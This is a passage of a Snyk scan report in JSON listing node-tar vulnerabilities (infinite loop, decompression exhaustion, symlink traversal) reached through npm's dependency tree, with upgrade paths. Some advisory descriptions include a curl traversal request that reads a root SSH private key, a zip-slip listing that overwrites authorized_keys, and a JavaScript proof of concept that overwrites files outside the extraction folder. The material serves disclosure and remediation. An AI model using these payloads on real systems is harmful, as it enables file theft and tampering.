"isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access 